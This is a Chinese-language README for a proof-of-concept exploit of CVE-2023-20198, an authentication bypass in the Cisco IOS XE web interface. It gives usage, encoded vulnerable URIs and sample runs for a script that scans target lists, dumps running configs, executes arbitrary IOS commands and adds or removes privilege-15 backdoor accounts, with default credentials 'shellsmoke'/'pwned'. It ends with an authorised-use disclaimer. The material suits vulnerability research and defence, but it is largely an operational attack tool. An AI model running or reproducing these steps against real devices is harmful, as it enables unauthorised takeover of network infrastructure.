CVE-2023-20198 的漏洞利用 PoC
CVE-2023-20198 的特征是通过不当路径验证绕过 Nginx 过滤,无需认证即可访问 webui_wsma_http Web 端点。
通过绕过对该端点的认证,攻击者可以执行任意 Cisco IOS 命令或发出具有特权级别 15 的配置更改。
Cisco 对先前未公开漏洞的活跃利用调查显示,威胁行为者首先利用 CVE-2023-20198 添加具有特权级别 15 的新用户。进一步的攻击涉及利用 CVE-2023-20273 提升至底层 Linux 操作系统 root 用户以方便植入。
该 PoC 利用 CVE-2023-20198 来使用两个不同的 XML SOAP 端点:
漏洞检查、配置和命令执行选项均针对 cisco:wsma-exec SOAP 端点,将命令插入到 execCLI 元素标签中。
添加用户选项针对 cisco:wsma-config SOAP 端点以发出配置更改并添加 Privilege 15 账户。该端点可能被[滥]用来进行其他配置更改,但这超出了本 PoC 的范围。
对 cisco:wsma-exec SOAP 端点的滥用源自 nuclei 模板
对 cisco:wsma-config SOAP 端点的滥用源自 horizon3ai PoC
注意:本人未进行此 CVE 的任何原始研究或 PoC 开发。感谢见参考资料部分。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
检查 CVE-2023-20198 时,-c 将尝试利用漏洞执行 uname -a
示例:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g 选项执行 sh run 来获取运行配置
示例:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
可以使用 -e 选项执行任意 Cisco IOS 命令。
使用此选项进行配置更改时应极度谨慎。没有输入验证,更改会立即应用到运行配置。
示例:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a 选项可用于创建新的 Privilege 15 用户账户,可选地通过 -u 和 -p 分别指定账户名和密码。
示例:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d 选项可用于从设备中删除用户账户,并遵循 -u 指定的用户名。
应注意确保不会删除合法账户。
添加此选项是为了在无法获得对已利用 Cisco 设备的 shell/WebUI 访问权限的情况下使用。观察到添加 Privilege 15 用户并不会授予 WebUI 访问权限,并可能导致在主机上留下利用痕迹。
Cisco 公告
horizon3ai CVE-2023-20198 研究
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 模板(作者:iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
本项目包含的代码仅用于研究以及在用户拥有明确授权的系统上使用。
本项目的作者对软件的滥用不承担任何责任。
请负责任地使用,不要作恶。